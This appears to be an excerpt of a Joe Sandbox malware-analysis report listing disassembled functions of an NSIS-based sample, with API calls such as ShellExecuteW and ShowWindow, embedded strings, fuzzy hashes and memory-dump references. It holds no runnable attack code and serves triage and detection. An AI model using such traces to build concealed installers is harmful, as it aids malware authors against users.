Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(00000000), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
TravelersDevelopingImpactsJewsInstructorOriginal, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$TravelersDevelopingImpactsJewsInstructorOriginal
API String ID: 1459762280-2310787730
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(00000000), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
TravelersDevelopingImpactsJewsInstructorOriginal, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$TravelersDevelopingImpactsJewsInstructorOriginal$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-163489428
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
